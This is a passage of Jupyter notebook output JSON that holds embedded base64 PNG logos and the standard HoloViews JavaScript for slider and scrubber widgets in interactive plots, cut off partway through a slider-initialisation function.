\"KzLm2YcjY1Lv0UdW73HabE9n6V66cxSzfEmuJssTpKGVp+0vHq73FwL46eOjpMpbRAnNmJFrGJNu\\n\",\n       \"Ukf9Yrz+3rghiumCKNXXWPhLYcjxGsIpoCMsIRoFITkW8AuyM8jC1+/QLx4bozCEJIq38+1rtpR6\\n\",\n       \"V/yzb8eBlRb3fo5l783N0CWolAzJHaVNzkrTzlEp2bQ2q3TC5gn6wpnoQAmwSiGh2GitnTmVMc5O\\n\",\n       \"UyfKWUKCIsU7+fZDKwqdT6DDpvkzAX4/+AMFjk0tDp5GRXLpQ2MUmhgDp5gxQT8+Y7hyPsMi8uxF\\n\",\n       \"71H0oebujHALECjFKaW9Lm68n18wXp2kVzIcABytD5iXFzg+WVXkegpAsOOYziqo0OkK76GyquC3\\n\",\n       \"ltZAzMhhqlSNmmWTE5T6e3IN05ITFLM4GdN0vtZ3ob8Jh1NAKXFbm5PtLU/eqTSlGjkNAJjdgn/N\\n\",\n       \"aedXa0tdi7+t9G0FIF49rtMSEgAs1kDLkTPO7ebm4IUWeyh1bKomXqlgMG6kJmHcSM0clYLJ8XtR\\n\",\n       \"1GTnbV3F6I5wCGikAb402npp1h1s7LQUZZSMIfALFOuL3UUrfnS8+rez7v9qcold5tilgHbO1fjK\\n\",\n       \"9ubb17u9oshxzMiUBKXWqJNxd+fqb0tLVs4lILFnK71H0Ind7uiPgACVcFJlrb0tV6DzxqqTIhUM\\n\",\n       \"CwDf1/rrVhTa33/3pGPxJYdQ2l2cbgVcQSosdx8uqnDtbGjh9SlDVSMNWhlnilfqZk42Th2ZpLpf\\n\",\n       \"xrHec5e815zrr0dfBZSwzkZfqsv+1FS1KUknUwPARVvItfKUY+cn57yP7qv07UE3p8B2uhUwLk09\\n\",\n       \"e0SCOrK+hbdYHYLjRIl71wWzv9jpEoeOHhGRrJAzyEyNiJuUqX0g2sBN5kGK6y2Blp5M3lsB9Qh4\\n\",\n       \"y2Ja6x6+i0ucmKgwMATwhSjdUu49tKrQ/pvN5d53ml2CGwCmJipmKjgmyuaXzNeL2a0AkQ01Th5j\\n\",\n       \"2DktO3Jyk8f9vcOBQHV94OK+fPumJmvQHxJoWkaKWq9Vs+yUsbq0zGT1I4RgeH2b5wef7+c7bl8F\\n\",\n       \"eKgoHVVZa8ZPEORzR6sT1BzDUAD/d9F78e2Tzv99v8D+fLVTqAKAsbGamKey1Mt9Ann4eH3gTXTz\\n\",\n       \"idWtAJ8PQWOk7NzSeQn/OTHDuEikVF1R4z8BQCy+6D1aWRfY0tTGG2OM8rRoPaeIj5ZHzJxszElN\\n\",\n       \"VM8K8JS5WOfv8mzRnQAKoEhmt8gyPM4lU9SmBK1MCQBnW4KONT86v1hZ1PbwSXPw4JWussVjtH9Y\\n\",\n       \"NCoiL9UoH/6PSu8jFrfY2t36erQHXLIEakMi1SydmzB31h3GGXFDFNPaK8Rme9B79Ixrd0WN+1ij\\n\",\n       \"NRQ/doRmuFLBkHSTOm5GruG+pFjFdAmorG4IXH1Qua6ASniclfFtDYt+oUjKipPrCQB7QBQ2lrgP\\n\",\n       \"fFzm+9XWUtcqJ3/5vDLDpJ79XHZk3u8nGZ42qlj1+ydtbxysCezrydp6ugmipNJ7WBPB5tydY0jP\\n\",\n       \"HaVNzs3QzeE4ZpTbI+ZbnSFPbVOw9vsfnVvqWnirPyCNGD08IlqtYkh2hjZ5dErEQzoNm+6ykyOt\\n\",\n       \"Lt5/PQEuSRRKo22VkydK+vvS1XEKlhCJAnsqvcVvH7f/ZU2R67eXbMEGAMiIV5oWZWiWvz5Fv2xG\\n\",\n       \"sjqNJQRvn3Rs2lji/lNP19VjAQDgD7FHhujZB9OGqYxRkZxixgRDVlqS6uEOFaJUVu0rPFzctrnF\\n\",\n       \"JqijImVp8dEKVWyUXDk92zAuMZ6bFwpBU1HrOw6AdhQgUooChb0+ItMbWJitSo5Ws3IAOGEOtL53\\n\",\n       \"0vHZih9sC4vtofZ7Qu6523V/fmGcds1TY3V36pUsBwAbSlxnVh2xLfAD/IAIMDf7XYIkNmXfpp2l\\n\",\n       \"18rkAJAy9HKFaIr/qULkeQQKy9zf1JgDB2uaeFNGijo5QsUyacNUUTOnGO42xSnv4oOwpDi1zYkc\\n\",\n       \"efUc3I5Gk6PhyTuVKaOGyLUAYPGIoY9Pu/atL/L92+4q9wbflRJ2Trpm/jPjdBtfnqB/dIThcl8A\\n\",\n       \"KG7hbRuKnb8qsQsVvVlTrwQAQMUlf3kwJI24Z4JhPMtcfng5GcH49GsrxJpGvvHIaeem2ma+KSjQ\\n\",\n       \"lIwUdYyCY8j4dE1KzijNnIP2llF2wcXNnsoapw9XxsgYAl6k+KzUXbi2yP3KR2ecf6z3BFsBICdW\\n\",\n       \"nvnIaG3eHybqX7vbpEqUMT+9OL4Qpe8VON7dXuFd39v19FoAABRVePbGGuXTszO0P7tu6lghUonE\\n\",\n       \"llRdrhArLvmKdh9u29jcFiRRkfLUxBiFNiqSU9icoZQHo5mYBI1MBgBH6wMNb+U7Pnw337H4gi1Y\\n\",\n       \"ciWs+uks3Z9fztUvfzxTm9Ne8XXkvQLHNytOOZeiD4e0PgkAIAYCYknKUNUDSXEKzdWNpnil7r4p\\n\",\n       \"xqkjTarZMtk/K8TQ6Qve78qqvXurGwIJqcOUKfUWHsm8KGvxSP68YudXq4pcj39X49uOK2X142O0\\n\",\n       \"Tz5/u/7TVybqH0rSya6ZBwD21/gubbrgWdDgEOx9WUhfBaC2ibcEBYm7a7x+ukrBMNcEZggyR0TE\\n\",\n       \"T8zUPjikQ4VosQZbTpS4vqizBKvqmvjsqnpfzaZyx9JPiz1/bfGKdgD45XB1zoIMzYbfTdS/NClB\\n\",\n       \"Gct0USiY3YL/g0LHy/uq/Ef6uo5+n0R/vyhp17Klpge763f8rMu6YU/zrn2nml+2WtH+Z+5IAAFc\\n\",\n       \"2bUTdTDOSNa9+cQY7YLsOIXhevEkCvzph7a8laecz/Un/z4/Ae04XeL3UQb57IwU9ZDr9UuKVajv\\n\",\n       \"nxp1+1UVIo/LjztZkKH59fO3G/JemqCfmaCRqbqbd90ZZ8FfjtkfAyD0J/9+C2h1hDwsSxvGjNDc\\n\",\n       \"b4zk5NfrSwiQblLHzZhg+Jf4aPlUwpDqkQqa9nimbt1/TDH8OitGMaQnj+RJS6B1fbF7SY1TqO5v\\n\",\n       \"/v0WAADl1f7zokgS7s7VT2DZ7pegUjBM7mjtiDZbcN4j0YrHH0rXpCtY0qPX0cVL0rv5jv/ZXend\\n\",\n       \"0u/EESYBAFBU4T4Qa5TflZOhTe7pmKpaP8kCVUVw1+yhXfJWvn1P3hnXi33JsTN6PnP3hHZ8Z3/h\\n\",\n       \"aLHzmkNPuPj7Bc/F/Q38CwjTpSwQXgE4Vmwry9tpfq/ZFgqFMy4AVDtCvi8rvMvOmv0N4YwbVgEA\\n\",\n       \"sPM72/KVnzfspmH7HQGCRLG2yL1+z8XwvPcdCbsAANh+xPzstgMtxeGKt+6MK3/tacfvwhWvIwMi\\n\",\n       \"oKEBtm0H7W+UVfkc/Y1V0BhoPlDr/w1w/eu1vjIgAgDg22OtX6/eYfnEz/focrZTHAFR+PSs56/7\\n\",\n       \"q32nwpjazxgwAQCwcU/T62t3WL7r6/jVRa6/byp1rei+Z98ZUAEAhEPHPc8fKnTU9nbgtnOe8h0l\\n\",\n       \"9hcGIqmODLQAHCy2Xti6v/XNRivf43f4fFvIteu854+VHnR7q9tfBlwAAGz+pnndB9vM26UebAe8\\n\",\n       \"SLHujPOTPVW+rwY+sxskAAC2HrA8t2Vvc7ffP1r9o+vwR2dcr92InIAbKKC1FZ5tB1tf+/G8p8sv\\n\",\n       \"N/9Q5zd/XR34LYCwV5JdccMEAMDBk45DH243r/X4xGvqxFa/GNpS7n6rwOwNWwHVE26oAADYurf1\\n\",\n       \"zx/utOzt+DMKYM0p17YtZZ5VNzqfsB2HewG1WXE8PoZ7gOclbTIvynZf9JV+fqZtfgs/8F/Nu5rB\\n\",\n       \"EIBmJ+8QRMmpU7EzGRsf2FzuePqYRbzh/zE26EwdrT10f6r6o8HOYzCJB9Dpff8tbnGLG8L/A/WE\\n\",\n       \"roTBs2RqAAAAAElFTkSuQmCC'\\n\",\n       \"     style='height:25px; border-radius:12px; display: inline-block; float: left; vertical-align: middle'></img>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  <img src='data:image/png;base64,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'\\n\",\n       \"       style='height:15px; border-radius:12px; display: inline-block; float: left'></img>\\n\",\n       \"  \\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"</div>\\n\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"application/javascript\": [\n       \"function HoloViewsWidget() {\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.init_slider = function(init_val){\\n\",\n       \"  if(this.load_json) {\\n\",\n       \"    this.from_json()\\n\",\n       \"  } else {\\n\",\n       \"    this.update_cache();\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.populate_cache = function(idx){\\n\",\n       \"  this.cache[idx].innerHTML = this.frames[idx];\\n\",\n       \"  if (this.embed) {\\n\",\n       \"    delete this.frames[idx];\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.process_error = function(msg){\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.from_json = function() {\\n\",\n       \"  var data_url = this.json_path + this.id + '.json';\\n\",\n       \"  $.getJSON(data_url, $.proxy(function(json_data) {\\n\",\n       \"    this.frames = json_data;\\n\",\n       \"    this.update_cache();\\n\",\n       \"    this.update(0);\\n\",\n       \"  }, this));\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.dynamic_update = function(current){\\n\",\n       \"  if (current === undefined) {\\n\",\n       \"    return\\n\",\n       \"  }\\n\",\n       \"  this.current = current;\\n\",\n       \"  if (this.comm) {\\n\",\n       \"    var msg = {comm_id: this.id+'_client', content: current}\\n\",\n       \"    this.comm.send(msg);\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.update_cache = function(force){\\n\",\n       \"  var frame_len = Object.keys(this.frames).length;\\n\",\n       \"  for (var i=0; i<frame_len; i++) {\\n\",\n       \"    if(!this.load_json || this.dynamic)  {\\n\",\n       \"      var frame = Object.keys(this.frames)[i];\\n\",\n       \"    } else {\\n\",\n       \"      var frame = i;\\n\",\n       \"    }\\n\",\n       \"    if(!(frame in this.cache) || force) {\\n\",\n       \"      if ((frame in this.cache) && force) { this.cache[frame].remove() }\\n\",\n       \"      var div = document.createElement(\\\"div\\\");\\n\",\n       \"      var parent = document.getElementById(\\\"_anim_img\\\"+this.id);\\n\",\n       \"      div.style.display = \\\"none\\\";\\n\",\n       \"      parent.appendChild(div)\\n\",\n       \"      this.cache[frame] = div;\\n\",\n       \"      var cache_id = \\\"_anim_img\\\"+this.id+\\\"_\\\"+frame;\\n\",\n       \"      this.populate_cache(frame);\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.update = function(current){\\n\",\n       \"  if(current in this.cache) {\\n\",\n       \"    for (var index in this.cache) {\\n\",\n       \"      this.cache[index].style.display = \\\"none\\\";\\n\",\n       \"    }\\n\",\n       \"    this.cache[current].style.display = \\\"\\\";\\n\",\n       \"    this.wait = false;\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.init_comms = function() {\\n\",\n       \"  var that = this\\n\",\n       \"  HoloViews.comm_manager.register_target(this.plot_id, this.id, function (msg) { that.process_msg(msg) })\\n\",\n       \"  if (!this.cached || this.dynamic) {\\n\",\n       \"    function ack_callback(msg) {\\n\",\n       \"      msg = JSON.parse(msg.content.data);\\n\",\n       \"      var comm_id = msg[\\\"comm_id\\\"]\\n\",\n       \"      var comm_status = HoloViews.comm_status[comm_id];\\n\",\n       \"      if (that.queue.length > 0) {\\n\",\n       \"        that.time = Date.now();\\n\",\n       \"        that.dynamic_update(that.queue[that.queue.length-1]);\\n\",\n       \"        that.queue = [];\\n\",\n       \"      } else {\\n\",\n       \"        that.wait = false;\\n\",\n       \"      }\\n\",\n       \"      if ((msg.msg_type == \\\"Ready\\\") && msg.content) {\\n\",\n       \"        console.log(\\\"Python callback returned following output:\\\", msg.content);\\n\",\n       \"      } else if (msg.msg_type == \\\"Error\\\") {\\n\",\n       \"        console.log(\\\"Python failed with the following traceback:\\\", msg['traceback'])\\n\",\n       \"      }\\n\",\n       \"    }\\n\",\n       \"    var comm = HoloViews.comm_manager.get_client_comm(this.plot_id, this.id+'_client', ack_callback);\\n\",\n       \"    return comm\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.process_msg = function(msg) {\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function SelectionWidget(frames, id, slider_ids, keyMap, dim_vals, notFound, load_json, mode, cached, json_path, dynamic, plot_id){\\n\",\n       \"  this.frames = frames;\\n\",\n       \"  this.id = id;\\n\",\n       \"  this.plot_id = plot_id;\\n\",\n       \"  this.slider_ids = slider_ids;\\n\",\n       \"  this.keyMap = keyMap\\n\",\n       \"  this.current_frame = 0;\\n\",\n       \"  this.current_vals = dim_vals;\\n\",\n       \"  this.load_json = load_json;\\n\",\n       \"  this.mode = mode;\\n\",\n       \"  this.notFound = notFound;\\n\",\n       \"  this.cached = cached;\\n\",\n       \"  this.dynamic = dynamic;\\n\",\n       \"  this.cache = {};\\n\",\n       \"  this.json_path = json_path;\\n\",\n       \"  this.init_slider(this.current_vals[0]);\\n\",\n       \"  this.queue = [];\\n\",\n       \"  this.wait = false;\\n\",\n       \"  if (!this.cached || this.dynamic) {\\n\",\n       \"    this.comm = this.init_comms();\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"SelectionWidget.prototype = new HoloViewsWidget;\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"SelectionWidget.prototype.get_key = function(current_vals) {\\n\",\n       \"  var key = \\\"(\\\";\\n\",\n       \"  for (var i=0; i<this.slider_ids.length; i++)\\n\",\n       \"  {\\n\",\n       \"    var val = this.current_vals[i];\\n\",\n       \"    if (!(typeof val === 'string')) {\\n\",\n       \"      if (val % 1 === 0) { val = val.toFixed(1); }\\n\",\n       \"      else { val = val.toFixed(10); val = val.slice(0, val.length-1);}\\n\",\n       \"    }\\n\",\n       \"    key += \\\"'\\\" + val + \\\"'\\\";\\n\",\n       \"    if(i != this.slider_ids.length-1) { key += ', ';}\\n\",\n       \"    else if(this.slider_ids.length == 1) { key += ',';}\\n\",\n       \"  }\\n\",\n       \"  key += \\\")\\\";\\n\",\n       \"  return this.keyMap[key];\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"SelectionWidget.prototype.set_frame = function(dim_val, dim_idx){\\n\",\n       \"  this.current_vals[dim_idx] = dim_val;\\n\",\n       \"  var key = this.current_vals;\\n\",\n       \"  if (!this.dynamic) {\\n\",\n       \"    key = this.get_key(key)\\n\",\n       \"  }\\n\",\n       \"  if (this.dynamic || !this.cached) {\\n\",\n       \"    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n\",\n       \"      this.queue.push(key);\\n\",\n       \"      return\\n\",\n       \"    }\\n\",\n       \"    this.queue = [];\\n\",\n       \"    this.time = Date.now();\\n\",\n       \"    this.current_frame = key;\\n\",\n       \"    this.wait = true;\\n\",\n       \"    this.dynamic_update(key)\\n\",\n       \"  } else if (key !== undefined) {\\n\",\n       \"    this.update(key)\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"/* Define the ScrubberWidget class */\\n\",\n       \"function ScrubberWidget(frames, num_frames, id, interval, load_json, mode, cached, json_path, dynamic, plot_id){\\n\",\n       \"  this.slider_id = \\\"_anim_slider\\\" + id;\\n\",\n       \"  this.loop_select_id = \\\"_anim_loop_select\\\" + id;\\n\",\n       \"  this.id = id;\\n\",\n       \"  this.plot_id = plot_id;\\n\",\n       \"  this.interval = interval;\\n\",\n       \"  this.current_frame = 0;\\n\",\n       \"  this.direction = 0;\\n\",\n       \"  this.dynamic = dynamic;\\n\",\n       \"  this.timer = null;\\n\",\n       \"  this.load_json = load_json;\\n\",\n       \"  this.mode = mode;\\n\",\n       \"  this.cached = cached;\\n\",\n       \"  this.frames = frames;\\n\",\n       \"  this.cache = {};\\n\",\n       \"  this.length = num_frames;\\n\",\n       \"  this.json_path = json_path;\\n\",\n       \"  document.getElementById(this.slider_id).max = this.length - 1;\\n\",\n       \"  this.init_slider(0);\\n\",\n       \"  this.wait = false;\\n\",\n       \"  this.queue = [];\\n\",\n       \"  if (!this.cached || this.dynamic) {\\n\",\n       \"    this.comm = this.init_comms()\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype = new HoloViewsWidget;\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.set_frame = function(frame){\\n\",\n       \"  this.current_frame = frame;\\n\",\n       \"  var widget = document.getElementById(this.slider_id);\\n\",\n       \"  if (widget === null) {\\n\",\n       \"    this.pause_animation();\\n\",\n       \"    return\\n\",\n       \"  }\\n\",\n       \"  widget.value = this.current_frame;\\n\",\n       \"  if (this.dynamic || !this.cached) {\\n\",\n       \"    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n\",\n       \"      this.queue.push(frame);\\n\",\n       \"      return\\n\",\n       \"    }\\n\",\n       \"    this.queue = [];\\n\",\n       \"    this.time = Date.now();\\n\",\n       \"    this.wait = true;\\n\",\n       \"    this.dynamic_update(frame)\\n\",\n       \"  } else {\\n\",\n       \"    this.update(frame)\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.get_loop_state = function(){\\n\",\n       \"  var button_group = document[this.loop_select_id].state;\\n\",\n       \"  for (var i = 0; i < button_group.length; i++) {\\n\",\n       \"    var button = button_group[i];\\n\",\n       \"    if (button.checked) {\\n\",\n       \"      return button.value;\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"  return undefined;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.next_frame = function() {\\n\",\n       \"  this.set_frame(Math.min(this.length - 1, this.current_frame + 1));\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.previous_frame = function() {\\n\",\n       \"  this.set_frame(Math.max(0, this.current_frame - 1));\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.first_frame = function() {\\n\",\n       \"  this.set_frame(0);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.last_frame = function() {\\n\",\n       \"  this.set_frame(this.length - 1);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.slower = function() {\\n\",\n       \"  this.interval /= 0.7;\\n\",\n       \"  if(this.direction > 0){this.play_animation();}\\n\",\n       \"  else if(this.direction < 0){this.reverse_animation();}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.faster = function() {\\n\",\n       \"  this.interval *= 0.7;\\n\",\n       \"  if(this.direction > 0){this.play_animation();}\\n\",\n       \"  else if(this.direction < 0){this.reverse_animation();}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.anim_step_forward = function() {\\n\",\n       \"  if(this.current_frame < this.length - 1){\\n\",\n       \"    this.next_frame();\\n\",\n       \"  }else{\\n\",\n       \"    var loop_state = this.get_loop_state();\\n\",\n       \"    if(loop_state == \\\"loop\\\"){\\n\",\n       \"      this.first_frame();\\n\",\n       \"    }else if(loop_state == \\\"reflect\\\"){\\n\",\n       \"      this.last_frame();\\n\",\n       \"      this.reverse_animation();\\n\",\n       \"    }else{\\n\",\n       \"      this.pause_animation();\\n\",\n       \"      this.last_frame();\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.anim_step_reverse = function() {\\n\",\n       \"  if(this.current_frame > 0){\\n\",\n       \"    this.previous_frame();\\n\",\n       \"  } else {\\n\",\n       \"    var loop_state = this.get_loop_state();\\n\",\n       \"    if(loop_state == \\\"loop\\\"){\\n\",\n       \"      this.last_frame();\\n\",\n       \"    }else if(loop_state == \\\"reflect\\\"){\\n\",\n       \"      this.first_frame();\\n\",\n       \"      this.play_animation();\\n\",\n       \"    }else{\\n\",\n       \"      this.pause_animation();\\n\",\n       \"      this.first_frame();\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.pause_animation = function() {\\n\",\n       \"  this.direction = 0;\\n\",\n       \"  if (this.timer){\\n\",\n       \"    clearInterval(this.timer);\\n\",\n       \"    this.timer = null;\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.play_animation = function() {\\n\",\n       \"  this.pause_animation();\\n\",\n       \"  this.direction = 1;\\n\",\n       \"  var t = this;\\n\",\n       \"  if (!this.timer) this.timer = setInterval(function(){t.anim_step_forward();}, this.interval);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.reverse_animation = function() {\\n\",\n       \"  this.pause_animation();\\n\",\n       \"  this.direction = -1;\\n\",\n       \"  var t = this;\\n\",\n       \"  if (!this.timer) this.timer = setInterval(function(){t.anim_step_reverse();}, this.interval);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function extend(destination, source) {\\n\",\n       \"  for (var k in source) {\\n\",\n       \"    if (source.hasOwnProperty(k)) {\\n\",\n       \"      destination[k] = source[k];\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"  return destination;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function update_widget(widget, values) {\\n\",\n       \"  if (widget.hasClass(\\\"ui-slider\\\")) {\\n\",\n       \"    widget.slider('option', {\\n\",\n       \"      min: 0,\\n\",\n       \"      max: values.length-1,\\n\",\n       \"      dim_vals: values,\\n\",\n       \"      value: 0,\\n\",\n       \"      dim_labels: values\\n\",\n       \"    })\\n\",\n       \"    widget.slider('option', 'slide').call(widget, event, {value: 0})\\n\",\n       \"  } else {\\n\",\n       \"    widget.empty();\\n\",\n       \"    for (var i=0; i<values.length; i++){\\n\",\n       \"      widget.append($(\\\"<option>\\\", {\\n\",\n       \"        value: i,\\n\",\n       \"        text: values[i]\\n\",\n       \"      }))\\n\",\n       \"    };\\n\",\n       \"    widget.data('values', values);\\n\",\n       \"    widget.data('value', 0);\\n\",\n       \"    widget.trigger(\\\"change\\\");\\n\",\n       \"  };\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function init_slider(id, plot_id, dim, values, next_vals, labels, dynamic, step, value, next_dim,\\n\",\n       \"                     dim_idx, delay, jQueryUI_CDN, UNDERSCORE_CDN) {\\n\",\n       \"  // Slider JS Block START\\n\",\n       \"  function loadcssfile(filename){\\n\",\n       \"    var fileref=document.createElement(\\\"link\\\")\\n\",\n       \"    fileref.setAttribute(\\\"rel\\\", \\\"stylesheet\\\")\\n\",\n       \"    fileref.setAttribute(\\\"type\\\", \\\"text/css\\\")\\n\",\n       \"    fileref.setAttribute(\\\"href\\\", filename)\\n\",\n       \"    document.getElementsByTagName(\\\"head\\\")[0].appendChild(fileref)\\n\",\n       \"  }\\n\",\n       \"  loadcssfile(\\\"https://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css\\\");\\n\",\n       \"  /* Check if jQuery and jQueryUI have been loaded\\n\",\n       \"     otherwise load with require.js */\\n\",\n       \"  var jQuery = window.jQuery,\\n\",\n       \"    // check for old versions of jQuery\\n\",\n       \"    oldjQuery = jQuery && !!jQuery.fn.jquery.match(/^1\\\\.[0-4](\\\\.|$)/),\\n\",\n       \"    jquery_path = '',\\n\",\n       \"    paths = 